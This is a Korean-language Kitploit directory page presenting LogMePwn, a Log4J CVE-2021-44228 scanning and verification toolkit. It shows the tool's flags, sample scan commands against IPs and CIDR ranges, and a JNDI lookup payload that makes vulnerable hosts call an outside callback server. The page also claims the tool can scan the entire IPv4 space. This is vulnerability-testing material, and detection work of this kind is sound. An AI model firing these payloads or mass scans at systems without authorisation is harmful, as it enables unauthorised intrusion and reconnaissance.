Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
LogMePwn — 완전 자동화되고, 신뢰할 수 있으며, 초고속인 Log4J RCE CVE-2021-44228 취약점 스캐닝 및 검증 툴킷입니다. | Kitploit
도구/GitHubGitHub/0xinfection/logmepwn
Vulnerability ScannersWeb Vulnerability ScannersNetwork MappingPort ScanningExploitationFuzzing
GitHub0xinfection/logmepwn

LogMePwn

완전 자동화되고, 신뢰할 수 있으며, 초고속인 Log4J RCE CVE-2021-44228 취약점 스캐닝 및 검증 툴킷입니다.

저장소 보기
3955329일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LogMePwn

LogMePwn은 완전 자동화된 다중 프로토콜, 신뢰할 수 있고 초고속 스캐닝 및 검증 툴킷으로, Log4J RCE CVE-2021-44228 취약점을 대상으로 합니다.

image

도구 하이라이트

  • 이메일 또는 웹훅을 사용한 자동 Canary Token 생성 기능 기본 지원.
  • 다중 프로토콜 지원: HTTP, IMAP, SSH, FTP 등.
  • 여러 HTTP 메서드 지원 (GET, POST, PUT, DELETE, PATCH 등)
  • 사용자 정의 HTTP 요청 본문 퍼징 지원 (JSON, XML 등).
  • 사용자 정의 콜백 서버 및 페이로드 지원.
  • CIDR 범위 스캐닝.
  • 모든 것이 멀티스레드로 초고속 (Go로 작성됨).
  • ...그 외 더 많은 기능. 아래 문서와 도구를 확인하세요!

작동 방식

LogMePwn은 Canary Tokens을 활용하여 이메일 및 웹훅 알림을 선호하는 커뮤니케이션 채널로 전송합니다. 사용자 정의 콜백 서버가 있다면 그것도 사용할 수 있습니다!

설치 및 사용법

도구를 사용하려면 Releases 섹션에서 배포판에 맞는 바이너리를 다운로드하여 사용하면 됩니다. 직접 빌드하려면 Go >= 1.13이 필요합니다. 리포지토리를 클론하고 go build를 실행하세요.

다음은 도구의 기본 사용법입니다:

root@kitploit:~
$ ./lmp --help

    +---------------------+
    |   L o g M e P w n   |
    +---------------------+  v2.0

                ~ 0xInfection
Usage:
  -custom-server string
        Specify a custom callback server.
  -delay int
        Delay between subsequent requests for the same host to avoid overwhelming the host.
  -email string
        Email to use for the receiving callback notifications.
  -fbody string
        Specify a format string to use as the body of the HTTP request.
  -file string
        Specify a file containing list of hosts to scan.
  -ftp-ports string
        Comma separated list of HTTP ports to scan per target. (default "21")
  -headers string
        Comma separated list of HTTP headers to use; if empty a default set of headers are used.
  -headers-file string
        Specify a file containing custom set of headers to use in HTTP requests.
  -http-methods string
        Comma separated list of HTTP methods to use while scanning. (default "GET")
  -http-ports string
        Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
  -imap-ports string
        Comma separated list of IMAP ports to scan per target. (default "143,993")
  -json
        Use body of type JSON in HTTP requests that can contain a body.
  -payload string
        Specify a single payload or a file containing list of payloads to use.
  -protocol string
        Specify a protocol to test for vulnerabilities. (default "all")
  -ssh-ports string
        Comma separated list of SSH ports to scan per target. (default "22")
  -threads int
        Number of threads to use while scanning. (default 10)
  -token string
        Canary token payload to use in requests; if empty, a new token will be generated.
  -user-agent string
        Custom user-agent string to use; if empty, payloads will be used.
  -webhook string
        Webhook to use for receiving callback notifications.
  -xml
        Use body of type XML in HTTP requests that can contain a body.

Examples:
  ./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
  ./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
  ./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
  ./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
  ./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143

프로토콜 지정

신규: 이 기능은 v2.0에서 도입되었습니다.

최신 버전에서는 여러 프로토콜 지원이 추가되었습니다. 현재까지 지원되는 프로토콜은 총 4가지입니다:

  • HTTP
  • IMAP
  • SSH
  • FTP

-protocol 인수를 통해 프로토콜을 지정하지 않으면, 도구는 지원되는 모든 프로토콜의 플러그인을 기본 포트 집합에 대해 실행합니다.

각 프로토콜의 포트 제어 방법 보기.

예시:

root@kitploit:~
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # 기본 포트에서 모든 프로토콜 스캔

대상 지정

대상은 명령줄 인터페이스 인수 또는 파일을 통해 두 가지 방식으로 지정할 수 있습니다.

신규: 이제 CIDR 범위도 스캔할 수 있습니다! 이 기능은 v1.1에서 도입되었습니다.

예시:

root@kitploit:~
./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30

각 프로토콜에는 기본 지원 포트 목록이 있으며, 다음 플래그를 사용하여 세밀하게 조정할 수 있습니다:

  • -http-ports (HTTP)
  • -imap-ports (IMAP)
  • -ssh-ports (SSH)
  • -ftp-ports (FTP)

host:port 형식으로 호스트+포트 쌍을 지정하면 기본 포트 목록이 무시되고 해당 포트에 대해서만 모든 검사가 수행됩니다. -protocol이 지정되지 않으면 동일한 포트에 대해 모든 프로토콜의 플러그인이 테스트됩니다.

페이로드 지정

이 기능은 v1.1에서 도입되었습니다.

페이로드는 -payload 인수를 통해 직접 지정할 수 있습니다. 하지만 페이로드에 테스트 중인 호스트의 DNS 이름을 포함하려면 $DNSNAME$ 포맷 지시자를 사용할 수 있으며, 이는 페이로드가 테스트되는 대상으로 대체됩니다.

예를 들어, 다음과 같은 명령어를 실행하면:

root@kitploit:~
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com

HTTP 요청을 보낼 때 페이로드는 다음과 같이 변환됩니다:

root@kitploit:~
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}

이 기능은 블랙박스 퍼징 시 어떤 호스트가 취약한지 평가하는 데 도움이 됩니다.

동일한 인수를 사용하여 여러 변형이 포함된 페이로드 파일을 지정할 수도 있습니다. (payloads-sample.txt 참조). 예시:

root@kitploit:~
./lmp -payload payloads-sample.txt vulnerable.site.com

참고: 이 기능은 Canary Tokens와 함께 작동하지 않습니다. Canarytokens는 사용자 정의 DNS 형식을 지원하지 않습니다.

알림 채널 지정

참고: -payload를 사용하여 사용자 정의 페이로드를 제공하는 경우 알림 채널을 지정할 필요가 없습니다. 페이로드 자체에 콜백 서버가 포함되어야 합니다.

알림 채널은 다음 중 하나일 수 있습니다:

  • 이메일 (-email)
  • 웹훅 (-webhook)
  • 사용자 정의 DNS 콜백 서버 (-custom-server)

도구는 Canary Tokens를 활용합니다. 여기에서 직접 생성하거나 도구가 토큰을 생성하도록 할 수 있습니다. 도구가 토큰을 생성하면 canarytoken-logmepwn.json 파일에 토큰과 인증 정보가 기록되며, 웹 인터페이스에서 트리거를 보려면 둘 다 필요합니다.

이미 토큰이 있는 경우 -token 인수를 사용하면 새 토큰을 생성하지 않고 직접 사용할 수 있습니다.

참고: 이메일이나 웹훅을 제공하면 도구가 사용자 정의 canary 토큰을 생성합니다. 사용자 정의 콜백 서버를 사용하는 경우 토큰은 필요하지 않습니다.

요청 보내기

도구는 요청 전송 시 뛰어난 유연성을 제공합니다. 기본적으로 GET 요청을 사용합니다. 기본 헤더 집합이 사용되며, 각 헤더 값에는 페이로드가 포함됩니다. -headers 인수를 통해 사용자 정의 헤더 집합을 지정할 수 있습니다. -headers-file 스위치를 사용하여 헤더 목록이 포함된 파일을 제공할 수도 있습니다. 예시:

root@kitploit:~
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <other args> -headers-file headers.txt 1.2.3.4:8080

스캔에 사용할 HTTP 메서드 목록은 -methods 스위치로 지정할 수 있습니다. POST, PUT 등 본문이 포함된 요청의 경우 본문 내용을 사용자 정의할 수 있습니다.

기본적으로 도구는 본문에 페이로드를 직접 전송합니다. 본문은 다음과 같은 방식으로 사용자 정의할 수 있습니다:

  • -json을 지정하면 요청 본문이 JSON 타입이 됩니다.
  • -xml을 지정하면 XML 형식이 됩니다.
  • -fbody를 사용하면 페이로드가 삽입될 사용자 정의 형식 문자열을 지정할 수 있습니다. 이는 테스트 시 복잡한 요청 생성이 가능합니다. 예를 들어, 콘텐츠를 HTML로 보내려면 다음과 같이 할 수 있습니다:
    root@kitploit:~
    ./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
    

사용자 정의 User-Agent 헤더 값은 -user-agent 스위치로 지정할 수 있습니다.

동시 스캐닝

도구는 넓은 범위의 대상을 스캔하도록 최적화되어 있습니다. 충분한 네트워크 대역폭과 하드웨어가 있다면 하루 안에 전체 IPv4 공간을 스캔할 수 있습니다. 기본 동시 스레드 수는 10개로 설정되어 있습니다 (로컬 하드웨어에서 안정성을 위해 최적화). 값은 수천까지 늘릴 수 있습니다 (벤치마킹 작업은 여러분에게 맡깁니다). :)

-threads 스위치를 사용하여 도구에 사용할 스레드 수를 지정하세요.

지연 시간 지정

HTTP 요청이 많이 발생하므로 원격 호스트가 요청을 처리하는 데 부담이 될 수 있습니다. -delay 매개변수는 이러한 경우에 도움이 됩니다. 지연 시간(초 단위)을 지정하면 서버의 동일한 포트에 대한 두 개의 연속 요청 사이에 해당 시간이 적용됩니다.

데모

스캐너를 시연하기 위해 @christophetd의 취약한 설정을 docker로 사용합니다:

root@kitploit:~
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

image

그런 다음 설정에 대해 도구를 실행합니다:

root@kitploit:~
./lmp -email [email protected] -protocol http 127.0.0.1:8080

image

그러면 토큰 기록 페이지와 이메일에서 볼 수 있는 몇 가지 DNS 조회가 즉시 트리거되었습니다:

변경 로그

  • v2.0 업데이트:

    • 다중 프로토콜 지원 도입. 현재까지 구현된 프로토콜:
      • SSH
      • IMAP
      • HTTP
      • FTP
  • v1.1 업데이트:

    • 파일 또는 명령줄을 통한 사용자 정의 페이로드 지정 기능.
    • 파일을 통한 사용자 정의 헤더 지정 기능.
    • CIDR 범위 스캐닝.

아이디어 및 향후 로드맵

Twitter로 연락하거나 이슈 또는 PR을 생성해 주세요.

라이선스 및 버전

이 도구는 GNU GPLv3 라이선스를 따릅니다. LogMePwn은 현재 v2.0입니다.

크레딧

놀라운 Canary Tokens 프로젝트를 만든 Thinkst Canary 팀에게 감사드립니다.

♡로 제작됨: Pinaki (@0xInfection).

도구 다운로드